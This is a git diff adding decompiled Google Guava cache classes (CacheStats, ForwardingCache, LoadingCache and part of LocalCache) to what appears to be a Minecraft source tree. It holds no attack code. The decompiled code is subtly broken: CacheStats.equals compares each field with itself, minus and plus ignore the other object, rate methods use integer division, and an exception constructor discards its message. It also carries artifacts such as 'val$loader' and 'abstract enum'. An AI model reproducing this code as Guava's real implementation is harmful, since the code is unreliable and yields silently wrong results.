+      }
+      
+      public ListenableFuture<V> reload(final K key, final V oldValue) throws Exception
+      {
+        ListenableFutureTask<V> task = ListenableFutureTask.create(new Callable()
+        {
+          public V call() throws Exception {
+            return val$loader.reload(key, oldValue).get();
+          }
+        });
+        executor.execute(task);
+        return task;
+      }
+      
+      public Map<K, V> loadAll(Iterable<? extends K> keys) throws Exception
+      {
+        return val$loader.loadAll(keys);
+      }
+    };
+  }
+  
+  private static final class SupplierToCacheLoader<V> extends CacheLoader<Object, V> implements Serializable {
+    private final Supplier<V> computingSupplier;
+    private static final long serialVersionUID = 0L;
+    
+    public SupplierToCacheLoader(Supplier<V> computingSupplier) {
+      this.computingSupplier = ((Supplier)Preconditions.checkNotNull(computingSupplier));
+    }
+    
+    public V load(Object key)
+    {
+      Preconditions.checkNotNull(key);
+      return computingSupplier.get();
+    }
+  }
+  
+  static final class UnsupportedLoadingOperationException
+    extends UnsupportedOperationException
+  {
+    UnsupportedLoadingOperationException() {}
+  }
+  
+  public static final class InvalidCacheLoadException
+    extends RuntimeException
+  {
+    public InvalidCacheLoadException(String message)
+    {
+      super();
+    }
+  }
+}
diff --git a/src/minecraft/com/google/common/cache/CacheStats.java b/src/minecraft/com/google/common/cache/CacheStats.java
new file mode 100644
index 0000000..94772cf
--- /dev/null
+++ b/src/minecraft/com/google/common/cache/CacheStats.java
@@ -0,0 +1,269 @@
+package com.google.common.cache;
+
+import com.google.common.annotations.Beta;
+import com.google.common.annotations.GwtCompatible;
+import com.google.common.base.Objects;
+import com.google.common.base.Objects.ToStringHelper;
+import com.google.common.base.Preconditions;
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@Beta
+@GwtCompatible
+public final class CacheStats
+{
+  private final long hitCount;
+  private final long missCount;
+  private final long loadSuccessCount;
+  private final long loadExceptionCount;
+  private final long totalLoadTime;
+  private final long evictionCount;
+  
+  public CacheStats(long hitCount, long missCount, long loadSuccessCount, long loadExceptionCount, long totalLoadTime, long evictionCount)
+  {
+    Preconditions.checkArgument(hitCount >= 0L);
+    Preconditions.checkArgument(missCount >= 0L);
+    Preconditions.checkArgument(loadSuccessCount >= 0L);
+    Preconditions.checkArgument(loadExceptionCount >= 0L);
+    Preconditions.checkArgument(totalLoadTime >= 0L);
+    Preconditions.checkArgument(evictionCount >= 0L);
+    
+    this.hitCount = hitCount;
+    this.missCount = missCount;
+    this.loadSuccessCount = loadSuccessCount;
+    this.loadExceptionCount = loadExceptionCount;
+    this.totalLoadTime = totalLoadTime;
+    this.evictionCount = evictionCount;
+  }
+  
+
+
+
+  public long requestCount()
+  {
+    return hitCount + missCount;
+  }
+  
+
+
+  public long hitCount()
+  {
+    return hitCount;
+  }
+  
+
+
+
+
+  public double hitRate()
+  {
+    long requestCount = requestCount();
+    return requestCount == 0L ? 1.0D : hitCount / requestCount;
+  }
+  
+
+
+
+
+
+  public long missCount()
+  {
+    return missCount;
+  }
+  
+
+
+
+
+
+
+
+
+  public double missRate()
+  {
+    long requestCount = requestCount();
+    return requestCount == 0L ? 0.0D : missCount / requestCount;
+  }
+  
+
+
+
+
+  public long loadCount()
+  {
+    return loadSuccessCount + loadExceptionCount;
+  }
+  
+
+
+
+
+
+
+  public long loadSuccessCount()
+  {
+    return loadSuccessCount;
+  }
+  
+
+
+
+
+
+
+  public long loadExceptionCount()
+  {
+    return loadExceptionCount;
+  }
+  
+
+
+
+
+  public double loadExceptionRate()
+  {
+    long totalLoadCount = loadSuccessCount + loadExceptionCount;
+    return totalLoadCount == 0L ? 0.0D : loadExceptionCount / totalLoadCount;
+  }
+  
+
+
+
+
+
+
+  public long totalLoadTime()
+  {
+    return totalLoadTime;
+  }
+  
+
+
+
+  public double averageLoadPenalty()
+  {
+    long totalLoadCount = loadSuccessCount + loadExceptionCount;
+    return totalLoadCount == 0L ? 0.0D : totalLoadTime / totalLoadCount;
+  }
+  
+
+
+
+
+
+  public long evictionCount()
+  {
+    return evictionCount;
+  }
+  
+
+
+
+
+  public CacheStats minus(CacheStats other)
+  {
+    return new CacheStats(Math.max(0L, hitCount - hitCount), Math.max(0L, missCount - missCount), Math.max(0L, loadSuccessCount - loadSuccessCount), Math.max(0L, loadExceptionCount - loadExceptionCount), Math.max(0L, totalLoadTime - totalLoadTime), Math.max(0L, evictionCount - evictionCount));
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public CacheStats plus(CacheStats other)
+  {
+    return new CacheStats(hitCount + hitCount, missCount + missCount, loadSuccessCount + loadSuccessCount, loadExceptionCount + loadExceptionCount, totalLoadTime + totalLoadTime, evictionCount + evictionCount);
+  }
+  
+
+
+
+
+
+
+  public int hashCode()
+  {
+    return Objects.hashCode(new Object[] { Long.valueOf(hitCount), Long.valueOf(missCount), Long.valueOf(loadSuccessCount), Long.valueOf(loadExceptionCount), Long.valueOf(totalLoadTime), Long.valueOf(evictionCount) });
+  }
+  
+
+  public boolean equals(@Nullable Object object)
+  {
+    if ((object instanceof CacheStats)) {
+      CacheStats other = (CacheStats)object;
+      return (hitCount == hitCount) && (missCount == missCount) && (loadSuccessCount == loadSuccessCount) && (loadExceptionCount == loadExceptionCount) && (totalLoadTime == totalLoadTime) && (evictionCount == evictionCount);
+    }
+    
+
+
+
+
+    return false;
+  }
+  
+  public String toString()
+  {
+    return Objects.toStringHelper(this).add("hitCount", hitCount).add("missCount", missCount).add("loadSuccessCount", loadSuccessCount).add("loadExceptionCount", loadExceptionCount).add("totalLoadTime", totalLoadTime).add("evictionCount", evictionCount).toString();
+  }
+}
diff --git a/src/minecraft/com/google/common/cache/ForwardingCache.java b/src/minecraft/com/google/common/cache/ForwardingCache.java
new file mode 100644
index 0000000..8a4a35f
--- /dev/null
+++ b/src/minecraft/com/google/common/cache/ForwardingCache.java
@@ -0,0 +1,146 @@
+package com.google.common.cache;
+
+import com.google.common.annotations.Beta;
+import com.google.common.base.Preconditions;
+import com.google.common.collect.ForwardingObject;
+import com.google.common.collect.ImmutableMap;
+import java.util.Map;
+import java.util.concurrent.Callable;
+import java.util.concurrent.ConcurrentMap;
+import java.util.concurrent.ExecutionException;
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@Beta
+public abstract class ForwardingCache<K, V>
+  extends ForwardingObject
+  implements Cache<K, V>
+{
+  protected ForwardingCache() {}
+  
+  protected abstract Cache<K, V> delegate();
+  
+  @Nullable
+  public V getIfPresent(Object key)
+  {
+    return delegate().getIfPresent(key);
+  }
+  
+
+
+  public V get(K key, Callable<? extends V> valueLoader)
+    throws ExecutionException
+  {
+    return delegate().get(key, valueLoader);
+  }
+  
+
+
+
+  public ImmutableMap<K, V> getAllPresent(Iterable<?> keys)
+  {
+    return delegate().getAllPresent(keys);
+  }
+  
+
+
+
+  public void put(K key, V value)
+  {
+    delegate().put(key, value);
+  }
+  
+
+
+
+  public void putAll(Map<? extends K, ? extends V> m)
+  {
+    delegate().putAll(m);
+  }
+  
+  public void invalidate(Object key)
+  {
+    delegate().invalidate(key);
+  }
+  
+
+
+
+  public void invalidateAll(Iterable<?> keys)
+  {
+    delegate().invalidateAll(keys);
+  }
+  
+  public void invalidateAll()
+  {
+    delegate().invalidateAll();
+  }
+  
+  public long size()
+  {
+    return delegate().size();
+  }
+  
+  public CacheStats stats()
+  {
+    return delegate().stats();
+  }
+  
+  public ConcurrentMap<K, V> asMap()
+  {
+    return delegate().asMap();
+  }
+  
+  public void cleanUp()
+  {
+    delegate().cleanUp();
+  }
+  
+
+
+  @Beta
+  public static abstract class SimpleForwardingCache<K, V>
+    extends ForwardingCache<K, V>
+  {
+    private final Cache<K, V> delegate;
+    
+
+    protected SimpleForwardingCache(Cache<K, V> delegate)
+    {
+      this.delegate = ((Cache)Preconditions.checkNotNull(delegate));
+    }
+    
+    protected final Cache<K, V> delegate()
+    {
+      return delegate;
+    }
+  }
+}
diff --git a/src/minecraft/com/google/common/cache/ForwardingLoadingCache.java b/src/minecraft/com/google/common/cache/ForwardingLoadingCache.java
new file mode 100644
index 0000000..07e12c4
--- /dev/null
+++ b/src/minecraft/com/google/common/cache/ForwardingLoadingCache.java
@@ -0,0 +1,91 @@
+package com.google.common.cache;
+
+import com.google.common.annotations.Beta;
+import com.google.common.base.Preconditions;
+import com.google.common.collect.ImmutableMap;
+import java.util.concurrent.ExecutionException;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@Beta
+public abstract class ForwardingLoadingCache<K, V>
+  extends ForwardingCache<K, V>
+  implements LoadingCache<K, V>
+{
+  protected ForwardingLoadingCache() {}
+  
+  protected abstract LoadingCache<K, V> delegate();
+  
+  public V get(K key)
+    throws ExecutionException
+  {
+    return delegate().get(key);
+  }
+  
+  public V getUnchecked(K key)
+  {
+    return delegate().getUnchecked(key);
+  }
+  
+  public ImmutableMap<K, V> getAll(Iterable<? extends K> keys) throws ExecutionException
+  {
+    return delegate().getAll(keys);
+  }
+  
+  public V apply(K key)
+  {
+    return delegate().apply(key);
+  }
+  
+  public void refresh(K key)
+  {
+    delegate().refresh(key);
+  }
+  
+
+
+  @Beta
+  public static abstract class SimpleForwardingLoadingCache<K, V>
+    extends ForwardingLoadingCache<K, V>
+  {
+    private final LoadingCache<K, V> delegate;
+    
+
+
+    protected SimpleForwardingLoadingCache(LoadingCache<K, V> delegate)
+    {
+      this.delegate = ((LoadingCache)Preconditions.checkNotNull(delegate));
+    }
+    
+    protected final LoadingCache<K, V> delegate()
+    {
+      return delegate;
+    }
+  }
+}
diff --git a/src/minecraft/com/google/common/cache/LoadingCache.java b/src/minecraft/com/google/common/cache/LoadingCache.java
new file mode 100644
index 0000000..f7621d6
--- /dev/null
+++ b/src/minecraft/com/google/common/cache/LoadingCache.java
@@ -0,0 +1,29 @@
+package com.google.common.cache;
+
+import com.google.common.annotations.Beta;
+import com.google.common.annotations.GwtCompatible;
+import com.google.common.base.Function;
+import com.google.common.collect.ImmutableMap;
+import java.util.concurrent.ConcurrentMap;
+import java.util.concurrent.ExecutionException;
+
+@Beta
+@GwtCompatible
+public abstract interface LoadingCache<K, V>
+  extends Cache<K, V>, Function<K, V>
+{
+  public abstract V get(K paramK)
+    throws ExecutionException;
+  
+  public abstract V getUnchecked(K paramK);
+  
+  public abstract ImmutableMap<K, V> getAll(Iterable<? extends K> paramIterable)
+    throws ExecutionException;
+  
+  @Deprecated
+  public abstract V apply(K paramK);
+  
+  public abstract void refresh(K paramK);
+  
+  public abstract ConcurrentMap<K, V> asMap();
+}
diff --git a/src/minecraft/com/google/common/cache/LocalCache.java b/src/minecraft/com/google/common/cache/LocalCache.java
new file mode 100644
index 0000000..8b98bb3
--- /dev/null
+++ b/src/minecraft/com/google/common/cache/LocalCache.java
@@ -0,0 +1,4873 @@
+package com.google.common.cache;
+
+import com.google.common.annotations.GwtCompatible;
+import com.google.common.annotations.GwtIncompatible;
+import com.google.common.annotations.VisibleForTesting;
+import com.google.common.base.Equivalence;
+import com.google.common.base.Function;
+import com.google.common.base.Preconditions;
+import com.google.common.base.Stopwatch;
+import com.google.common.base.Supplier;
+import com.google.common.base.Ticker;
+import com.google.common.collect.AbstractSequentialIterator;
+import com.google.common.collect.ImmutableMap;
+import com.google.common.collect.Iterators;
+import com.google.common.collect.Maps;
+import com.google.common.collect.Sets;
+import com.google.common.primitives.Ints;
+import com.google.common.util.concurrent.ExecutionError;
+import com.google.common.util.concurrent.Futures;
+import com.google.common.util.concurrent.ListenableFuture;
+import com.google.common.util.concurrent.ListeningExecutorService;
+import com.google.common.util.concurrent.MoreExecutors;
+import com.google.common.util.concurrent.SettableFuture;
+import com.google.common.util.concurrent.UncheckedExecutionException;
+import com.google.common.util.concurrent.Uninterruptibles;
+import java.io.IOException;
+import java.io.ObjectInputStream;
+import java.io.Serializable;
+import java.lang.ref.Reference;
+import java.lang.ref.ReferenceQueue;
+import java.lang.ref.SoftReference;
+import java.lang.ref.WeakReference;
+import java.util.AbstractCollection;
+import java.util.AbstractMap;
+import java.util.AbstractQueue;
+import java.util.AbstractSet;
+import java.util.Collection;
+import java.util.Iterator;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.NoSuchElementException;
+import java.util.Queue;
+import java.util.Set;
+import java.util.concurrent.Callable;
+import java.util.concurrent.ConcurrentLinkedQueue;
+import java.util.concurrent.ConcurrentMap;
+import java.util.concurrent.ExecutionException;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.atomic.AtomicInteger;
+import java.util.concurrent.atomic.AtomicReferenceArray;
+import java.util.concurrent.locks.ReentrantLock;
+import java.util.logging.Level;
+import java.util.logging.Logger;
+import javax.annotation.Nullable;
+import javax.annotation.concurrent.GuardedBy;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible(emulated=true)
+class LocalCache<K, V>
+  extends AbstractMap<K, V>
+  implements ConcurrentMap<K, V>
+{
+  static final int MAXIMUM_CAPACITY = 1073741824;
+  static final int MAX_SEGMENTS = 65536;
+  static final int CONTAINS_VALUE_RETRIES = 3;
+  static final int DRAIN_THRESHOLD = 63;
+  static final int DRAIN_MAX = 16;
+  static final Logger logger = Logger.getLogger(LocalCache.class.getName());
+  
+  static final ListeningExecutorService sameThreadExecutor = MoreExecutors.sameThreadExecutor();
+  
+
+
+  final int segmentMask;
+  
+
+
+  final int segmentShift;
+  
+
+
+  final Segment<K, V>[] segments;
+  
+
+
+  final int concurrencyLevel;
+  
+
+
+  final Equivalence<Object> keyEquivalence;
+  
+
+
+  final Equivalence<Object> valueEquivalence;
+  
+
+
+  final Strength keyStrength;
+  
+
+
+  final Strength valueStrength;
+  
+
+
+  final long maxWeight;
+  
+
+
+  final Weigher<K, V> weigher;
+  
+
+
+  final long expireAfterAccessNanos;
+  
+
+
+  final long expireAfterWriteNanos;
+  
+
+
+  final long refreshNanos;
+  
+
+
+  final Queue<RemovalNotification<K, V>> removalNotificationQueue;
+  
+
+
+  final RemovalListener<K, V> removalListener;
+  
+
+
+  final Ticker ticker;
+  
+
+  final EntryFactory entryFactory;
+  
+
+  final AbstractCache.StatsCounter globalStatsCounter;
+  
+
+  @Nullable
+  final CacheLoader<? super K, V> defaultLoader;
+  
+
+
+  LocalCache(CacheBuilder<? super K, ? super V> builder, @Nullable CacheLoader<? super K, V> loader)
+  {
+    concurrencyLevel = Math.min(builder.getConcurrencyLevel(), 65536);
+    
+    keyStrength = builder.getKeyStrength();
+    valueStrength = builder.getValueStrength();
+    
+    keyEquivalence = builder.getKeyEquivalence();
+    valueEquivalence = builder.getValueEquivalence();
+    
+    maxWeight = builder.getMaximumWeight();
+    weigher = builder.getWeigher();
+    expireAfterAccessNanos = builder.getExpireAfterAccessNanos();
+    expireAfterWriteNanos = builder.getExpireAfterWriteNanos();
+    refreshNanos = builder.getRefreshNanos();
+    
+    removalListener = builder.getRemovalListener();
+    removalNotificationQueue = (removalListener == CacheBuilder.NullListener.INSTANCE ? discardingQueue() : new ConcurrentLinkedQueue());
+    
+
+
+    ticker = builder.getTicker(recordsTime());
+    entryFactory = EntryFactory.getFactory(keyStrength, usesAccessEntries(), usesWriteEntries());
+    globalStatsCounter = ((AbstractCache.StatsCounter)builder.getStatsCounterSupplier().get());
+    defaultLoader = loader;
+    
+    int initialCapacity = Math.min(builder.getInitialCapacity(), 1073741824);
+    if ((evictsBySize()) && (!customWeigher())) {
+      initialCapacity = Math.min(initialCapacity, (int)maxWeight);
+    }
+    
+
+
+
+
+
+    int segmentShift = 0;
+    int segmentCount = 1;
+    
+    while ((segmentCount < concurrencyLevel) && ((!evictsBySize()) || (segmentCount * 20 <= maxWeight))) {
+      segmentShift++;
+      segmentCount <<= 1;
+    }
+    this.segmentShift = (32 - segmentShift);
+    segmentMask = (segmentCount - 1);
+    
+    segments = newSegmentArray(segmentCount);
+    
+    int segmentCapacity = initialCapacity / segmentCount;
+    if (segmentCapacity * segmentCount < initialCapacity) {
+      segmentCapacity++;
+    }
+    
+    int segmentSize = 1;
+    while (segmentSize < segmentCapacity) {
+      segmentSize <<= 1;
+    }
+    
+    if (evictsBySize())
+    {
+      long maxSegmentWeight = maxWeight / segmentCount + 1L;
+      long remainder = maxWeight % segmentCount;
+      for (int i = 0; i < segments.length; i++) {
+        if (i == remainder) {
+          maxSegmentWeight -= 1L;
+        }
+        segments[i] = createSegment(segmentSize, maxSegmentWeight, (AbstractCache.StatsCounter)builder.getStatsCounterSupplier().get());
+      }
+    }
+    else {
+      for (int i = 0; i < segments.length; i++) {
+        segments[i] = createSegment(segmentSize, -1L, (AbstractCache.StatsCounter)builder.getStatsCounterSupplier().get());
+      }
+    }
+  }
+  
+  boolean evictsBySize()
+  {
+    return maxWeight >= 0L;
+  }
+  
+  boolean customWeigher() {
+    return weigher != CacheBuilder.OneWeigher.INSTANCE;
+  }
+  
+  boolean expires() {
+    return (expiresAfterWrite()) || (expiresAfterAccess());
+  }
+  
+  boolean expiresAfterWrite() {
+    return expireAfterWriteNanos > 0L;
+  }
+  
+  boolean expiresAfterAccess() {
+    return expireAfterAccessNanos > 0L;
+  }
+  
+  boolean refreshes() {
+    return refreshNanos > 0L;
+  }
+  
+  boolean usesAccessQueue() {
+    return (expiresAfterAccess()) || (evictsBySize());
+  }
+  
+  boolean usesWriteQueue() {
+    return expiresAfterWrite();
+  }
+  
+  boolean recordsWrite() {
+    return (expiresAfterWrite()) || (refreshes());
+  }
+  
+  boolean recordsAccess() {
+    return expiresAfterAccess();
+  }
+  
+  boolean recordsTime() {
+    return (recordsWrite()) || (recordsAccess());
+  }
+  
+  boolean usesWriteEntries() {
+    return (usesWriteQueue()) || (recordsWrite());
+  }
+  
+  boolean usesAccessEntries() {
+    return (usesAccessQueue()) || (recordsAccess());
+  }
+  
+  boolean usesKeyReferences() {
+    return keyStrength != Strength.STRONG;
+  }
+  
+  boolean usesValueReferences() {
+    return valueStrength != Strength.STRONG;
+  }
+  
+
+
+
+
+  static abstract enum Strength
+  {
+    STRONG, 
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+    SOFT, 
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+    WEAK;
+    
+
+
+
+
+
+
+    private Strength() {}
+    
+
+
+
+
+
+
+    abstract <K, V> LocalCache.ValueReference<K, V> referenceValue(LocalCache.Segment<K, V> paramSegment, LocalCache.ReferenceEntry<K, V> paramReferenceEntry, V paramV, int paramInt);
+    
+
+
+
+
+
+
+    abstract Equivalence<Object> defaultEquivalence();
+  }
+  
+
+
+
+
+
+  static abstract enum EntryFactory
+  {
+    STRONG, 
+    
+
+
+
+
+
+    STRONG_ACCESS, 
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+    STRONG_WRITE, 
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+    STRONG_ACCESS_WRITE, 
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+    WEAK, 
+    
+
+
+
+
+
+    WEAK_ACCESS, 
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+    WEAK_WRITE, 
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+    WEAK_ACCESS_WRITE;
+    
+
+
+
+
+
+
+    static final int ACCESS_MASK = 1;
+    
+
+
+
+
+
+    static final int WRITE_MASK = 2;
+    
+
+
+
+
+    static final int WEAK_MASK = 4;
+    
+
+
+
+
+    static final EntryFactory[] factories = { STRONG, STRONG_ACCESS, STRONG_WRITE, STRONG_ACCESS_WRITE, WEAK, WEAK_ACCESS, WEAK_WRITE, WEAK_ACCESS_WRITE };
+    
+
+    private EntryFactory() {}
+    
+    static EntryFactory getFactory(LocalCache.Strength keyStrength, boolean usesAccessQueue, boolean usesWriteQueue)
+    {
+      int flags = (keyStrength == LocalCache.Strength.WEAK ? 4 : 0) | (usesAccessQueue ? 1 : 0) | (usesWriteQueue ? 2 : 0);
+      
+
+      return factories[flags];
+    }
+    
+
+
+
+
+
+
+
+
+    abstract <K, V> LocalCache.ReferenceEntry<K, V> newEntry(LocalCache.Segment<K, V> paramSegment, K paramK, int paramInt, @Nullable LocalCache.ReferenceEntry<K, V> paramReferenceEntry);
+    
+
+
+
+
+
+
+
+    @GuardedBy("Segment.this")
+    <K, V> LocalCache.ReferenceEntry<K, V> copyEntry(LocalCache.Segment<K, V> segment, LocalCache.ReferenceEntry<K, V> original, LocalCache.ReferenceEntry<K, V> newNext)
+    {
+      return newEntry(segment, original.getKey(), original.getHash(), newNext);
+    }
+    
+
+    @GuardedBy("Segment.this")
+    <K, V> void copyAccessEntry(LocalCache.ReferenceEntry<K, V> original, LocalCache.ReferenceEntry<K, V> newEntry)
+    {
+      newEntry.setAccessTime(original.getAccessTime());
+      
+      LocalCache.connectAccessOrder(original.getPreviousInAccessQueue(), newEntry);
+      LocalCache.connectAccessOrder(newEntry, original.getNextInAccessQueue());
+      
+      LocalCache.nullifyAccessOrder(original);
+    }
+    
+
+    @GuardedBy("Segment.this")
+    <K, V> void copyWriteEntry(LocalCache.ReferenceEntry<K, V> original, LocalCache.ReferenceEntry<K, V> newEntry)
+    {
+      newEntry.setWriteTime(original.getWriteTime());
+      
+      LocalCache.connectWriteOrder(original.getPreviousInWriteQueue(), newEntry);
+      LocalCache.connectWriteOrder(newEntry, original.getNextInWriteQueue());
+      
+      LocalCache.nullifyWriteOrder(original);
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  static final ValueReference<Object, Object> UNSET = new ValueReference()
+  {
+    public Object get() {
+      return null;
+    }
+    
+    public int getWeight()
+    {
+      return 0;
+    }
+    
+    public LocalCache.ReferenceEntry<Object, Object> getEntry()
+    {
+      return null;
+    }
+    
+
+    public LocalCache.ValueReference<Object, Object> copyFor(ReferenceQueue<Object> queue, @Nullable Object value, LocalCache.ReferenceEntry<Object, Object> entry)
+    {
+      return this;
+    }
+    
+    public boolean isLoading()
+    {
+      return false;
+    }
+    
+    public boolean isActive()
+    {
+      return false;
+    }
+    
+    public Object waitForValue()
+    {
+      return null;
+    }
+    
+
+
+    public void notifyNewValue(Object newValue) {}
+  };
+  
+
+
+  static <K, V> ValueReference<K, V> unset()
+  {
+    return UNSET;
+  }
+  
+
+
+  static abstract interface ValueReference<K, V>
+  {
+    @Nullable
+    public abstract V get();
+    
+
+
+    public abstract V waitForValue()
+      throws ExecutionException;
+    
+
+
+    public abstract int getWeight();
+    
+
+
+    @Nullable
+    public abstract LocalCache.ReferenceEntry<K, V> getEntry();
+    
+
+
+    public abstract ValueReference<K, V> copyFor(ReferenceQueue<V> paramReferenceQueue, @Nullable V paramV, LocalCache.ReferenceEntry<K, V> paramReferenceEntry);
+    
+
+
+    public abstract void notifyNewValue(@Nullable V paramV);
+    
+
+
+    public abstract boolean isLoading();
+    
+
+
+    public abstract boolean isActive();
+  }
+  
+
+
+  static abstract interface ReferenceEntry<K, V>
+  {
+    public abstract LocalCache.ValueReference<K, V> getValueReference();
+    
+
+
+    public abstract void setValueReference(LocalCache.ValueReference<K, V> paramValueReference);
+    
+
+
+    @Nullable
+    public abstract ReferenceEntry<K, V> getNext();
+    
+
+
+    public abstract int getHash();
+    
+
+
+    @Nullable
+    public abstract K getKey();
+    
+
+
+    public abstract long getAccessTime();
+    
+
+
+    public abstract void setAccessTime(long paramLong);
+    
+
+
+    public abstract ReferenceEntry<K, V> getNextInAccessQueue();
+    
+
+
+    public abstract void setNextInAccessQueue(ReferenceEntry<K, V> paramReferenceEntry);
+    
+
+
+    public abstract ReferenceEntry<K, V> getPreviousInAccessQueue();
+    
+
+
+    public abstract void setPreviousInAccessQueue(ReferenceEntry<K, V> paramReferenceEntry);
+    
+
+
+    public abstract long getWriteTime();
+    
+
+
+    public abstract void setWriteTime(long paramLong);
+    
+
+
+    public abstract ReferenceEntry<K, V> getNextInWriteQueue();
+    
+
+
+    public abstract void setNextInWriteQueue(ReferenceEntry<K, V> paramReferenceEntry);
+    
+
+
+    public abstract ReferenceEntry<K, V> getPreviousInWriteQueue();
+    
+
+
+    public abstract void setPreviousInWriteQueue(ReferenceEntry<K, V> paramReferenceEntry);
+  }
+  
+
+
+  private static enum NullEntry
+    implements LocalCache.ReferenceEntry<Object, Object>
+  {
+    INSTANCE;
+    
+    private NullEntry() {}
+    
+    public LocalCache.ValueReference<Object, Object> getValueReference() { return null; }
+    
+
+    public void setValueReference(LocalCache.ValueReference<Object, Object> valueReference) {}
+    
+
+    public LocalCache.ReferenceEntry<Object, Object> getNext()
+    {
+      return null;
+    }
+    
+    public int getHash()
+    {
+      return 0;
+    }
+    
+    public Object getKey()
+    {
+      return null;
+    }
+    
+    public long getAccessTime()
+    {
+      return 0L;
+    }
+    
+
+    public void setAccessTime(long time) {}
+    
+    public LocalCache.ReferenceEntry<Object, Object> getNextInAccessQueue()
+    {
+      return this;
+    }
+    
+
+    public void setNextInAccessQueue(LocalCache.ReferenceEntry<Object, Object> next) {}
+    
+    public LocalCache.ReferenceEntry<Object, Object> getPreviousInAccessQueue()
+    {
+      return this;
+    }
+    
+
+    public void setPreviousInAccessQueue(LocalCache.ReferenceEntry<Object, Object> previous) {}
+    
+    public long getWriteTime()
+    {
+      return 0L;
+    }
+    
+
+    public void setWriteTime(long time) {}
+    
+    public LocalCache.ReferenceEntry<Object, Object> getNextInWriteQueue()
+    {
+      return this;
+    }
+    
+
+    public void setNextInWriteQueue(LocalCache.ReferenceEntry<Object, Object> next) {}
+    
+    public LocalCache.ReferenceEntry<Object, Object> getPreviousInWriteQueue()
+    {
+      return this;
+    }
+    
+    public void setPreviousInWriteQueue(LocalCache.ReferenceEntry<Object, Object> previous) {}
+  }
+  
+  static abstract class AbstractReferenceEntry<K, V> implements LocalCache.ReferenceEntry<K, V> {
+    AbstractReferenceEntry() {}
+    
+    public LocalCache.ValueReference<K, V> getValueReference() {
+      throw new UnsupportedOperationException();
+    }
+    
+    public void setValueReference(LocalCache.ValueReference<K, V> valueReference)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+    public LocalCache.ReferenceEntry<K, V> getNext()
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+    public int getHash()
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+    public K getKey()
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+    public long getAccessTime()
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+    public void setAccessTime(long time)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+    public LocalCache.ReferenceEntry<K, V> getNextInAccessQueue()
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+    public void setNextInAccessQueue(LocalCache.ReferenceEntry<K, V> next)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+    public LocalCache.ReferenceEntry<K, V> getPreviousInAccessQueue()
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+    public void setPreviousInAccessQueue(LocalCache.ReferenceEntry<K, V> previous)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+    public long getWriteTime()
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+    public void setWriteTime(long time)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+    public LocalCache.ReferenceEntry<K, V> getNextInWriteQueue()
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+    public void setNextInWriteQueue(LocalCache.ReferenceEntry<K, V> next)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+    public LocalCache.ReferenceEntry<K, V> getPreviousInWriteQueue()
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+    public void setPreviousInWriteQueue(LocalCache.ReferenceEntry<K, V> previous)
+    {
+      throw new UnsupportedOperationException();
+    }
+  }
+  
+  static <K, V> ReferenceEntry<K, V> nullEntry()
+  {
+    return NullEntry.INSTANCE;
+  }
+  
+  static final Queue<? extends Object> DISCARDING_QUEUE = new AbstractQueue()
+  {
+    public boolean offer(Object o) {
+      return true;
+    }
+    
+    public Object peek()
+    {
+      return null;
+    }
+    
+    public Object poll()
+    {
+      return null;
+    }
+    
+    public int size()
+    {
+      return 0;
+    }
+    
+    public Iterator<Object> iterator()
+    {
+      return Iterators.emptyIterator();
+    }
+  };
+  Set<K> keySet;
+  Collection<V> values;
+  Set<Map.Entry<K, V>> entrySet;
+  
+  static <E> Queue<E> discardingQueue()
+  {
+    return DISCARDING_QUEUE;
+  }
+  
+
+
+  static class StrongEntry<K, V>
+    extends LocalCache.AbstractReferenceEntry<K, V>
+  {
+    final K key;
+    
+
+    final int hash;
+    
+    final LocalCache.ReferenceEntry<K, V> next;
+    
+
+    StrongEntry(K key, int hash, @Nullable LocalCache.ReferenceEntry<K, V> next)
+    {
+      this.key = key;
+      this.hash = hash;
+      this.next = next;
+    }
+    
+    public K getKey()
+    {
+      return key;
+    }
+    
+
+
+
+
+    volatile LocalCache.ValueReference<K, V> valueReference = LocalCache.unset();
+    
+    public LocalCache.ValueReference<K, V> getValueReference()
+    {
+      return valueReference;
+    }
+    
+    public void setValueReference(LocalCache.ValueReference<K, V> valueReference)
+    {
+      this.valueReference = valueReference;
+    }
+    
+    public int getHash()
+    {
